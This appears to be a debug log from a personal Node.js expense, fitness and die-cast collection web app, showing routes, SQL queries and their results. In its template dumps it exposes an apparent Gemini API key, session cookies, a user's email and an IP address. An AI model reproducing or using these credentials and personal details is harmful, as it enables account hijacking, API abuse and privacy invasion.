    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-12T13:39:56.320Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-12T13:39:56.325Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-12T13:40:01.081Z server-connect:router Serving templateView /goal
2025-12-12T13:40:01.081Z server-connect:app Executing action step identify
2025-12-12T13:40:01.081Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:01.081Z server-connect:output identity: 1
2025-12-12T13:40:01.082Z server-connect:app Executing action step restrict
2025-12-12T13:40:01.082Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:40:01.082Z server-connect:output restrict: undefined
2025-12-12T13:40:01.082Z server-connect:router Render template goal
2025-12-12T13:40:01.082Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM; your_r_git.sid=s%3AmcC14PpBg2RnqTLNhlpL3atsWDhAgt18.jNVE8THzRFSBHsASxy31AQka1aN2RNQ66CT49batnls',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:39:54.577Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM; your_r_git.sid=s%3AmcC14PpBg2RnqTLNhlpL3atsWDhAgt18.jNVE8THzRFSBHsASxy31AQka1aN2RNQ66CT49batnls',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-12T13:40:01.292Z server-connect:router Serving serverConnect /api/health/get-schedule
2025-12-12T13:40:01.292Z server-connect:app Executing action step identify
2025-12-12T13:40:01.292Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:01.293Z server-connect:output identity: 1
2025-12-12T13:40:01.293Z server-connect:app Executing action step restrict
2025-12-12T13:40:01.293Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:01.293Z server-connect:output restrict: undefined
2025-12-12T13:40:01.293Z server-connect:app Executing action step select
2025-12-12T13:40:01.293Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2025-12-12T13:40:01.295Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Fat Loss',
    start_date: '2025-03-31T18:30:00.000Z',
    end_date: '2025-05-07T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  },
  {
    schedule_id: 3,
    schedule_name: 'Fat Loss',
    start_date: '2025-11-14T18:30:00.000Z',
    end_date: '2025-11-14T18:30:00.000Z',
    days: 70,
    created_on: '2025-11-11T01:10:11.000Z',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    status: 'Not Started',
    description: 'test'
  }
]
2025-12-12T13:40:02.364Z server-connect:router Serving templateView /diecast
2025-12-12T13:40:02.365Z server-connect:app Executing action step identify
2025-12-12T13:40:02.365Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:02.365Z server-connect:output identity: 1
2025-12-12T13:40:02.365Z server-connect:app Executing action step restrict
2025-12-12T13:40:02.365Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:40:02.366Z server-connect:output restrict: undefined
2025-12-12T13:40:02.366Z server-connect:router Render template diecast
2025-12-12T13:40:02.366Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM; your_r_git.sid=s%3AmcC14PpBg2RnqTLNhlpL3atsWDhAgt18.jNVE8THzRFSBHsASxy31AQka1aN2RNQ66CT49batnls',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:39:54.577Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM; your_r_git.sid=s%3AmcC14PpBg2RnqTLNhlpL3atsWDhAgt18.jNVE8THzRFSBHsASxy31AQka1aN2RNQ66CT49batnls',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-12T13:40:02.591Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-12T13:40:02.592Z server-connect:app Executing action step identify
2025-12-12T13:40:02.592Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:02.592Z server-connect:output identity: 1
2025-12-12T13:40:02.592Z server-connect:app Executing action step restrict
2025-12-12T13:40:02.593Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:02.595Z server-connect:output restrict: undefined
2025-12-12T13:40:02.595Z server-connect:app Executing action step select
2025-12-12T13:40:02.595Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-12T13:40:02.605Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2025-12-12T13:40:02.607Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-12T13:40:02.608Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-12T13:40:02.610Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-12T13:40:02.611Z server-connect:app Executing action step identify
2025-12-12T13:40:02.611Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:02.611Z server-connect:output identity: 1
2025-12-12T13:40:02.611Z server-connect:app Executing action step restrict
2025-12-12T13:40:02.611Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:02.613Z server-connect:output restrict: undefined
2025-12-12T13:40:02.613Z server-connect:app Executing action step select
2025-12-12T13:40:02.613Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-12T13:40:02.614Z server-connect:router Serving serverConnect /api/diecast/get-filters
2025-12-12T13:40:02.615Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2025-12-12T13:40:02.617Z server-connect:app Executing action step identify
2025-12-12T13:40:02.617Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:02.617Z server-connect:output identity: 1
2025-12-12T13:40:02.617Z server-connect:app Executing action step restrict
2025-12-12T13:40:02.617Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:02.618Z server-connect:app Executing action step identify
2025-12-12T13:40:02.618Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:02.618Z server-connect:output identity: 1
2025-12-12T13:40:02.618Z server-connect:app Executing action step restrict
2025-12-12T13:40:02.618Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:02.619Z server-connect:app Executing action step identify
2025-12-12T13:40:02.619Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:02.619Z server-connect:output identity: 1
2025-12-12T13:40:02.619Z server-connect:app Executing action step restrict
2025-12-12T13:40:02.619Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:02.619Z server-connect:output restrict: undefined
2025-12-12T13:40:02.620Z server-connect:app Executing action step select
2025-12-12T13:40:02.620Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-12T13:40:02.621Z server-connect:output restrict: undefined
2025-12-12T13:40:02.621Z server-connect:app Executing action step select
2025-12-12T13:40:02.621Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-12T13:40:02.623Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
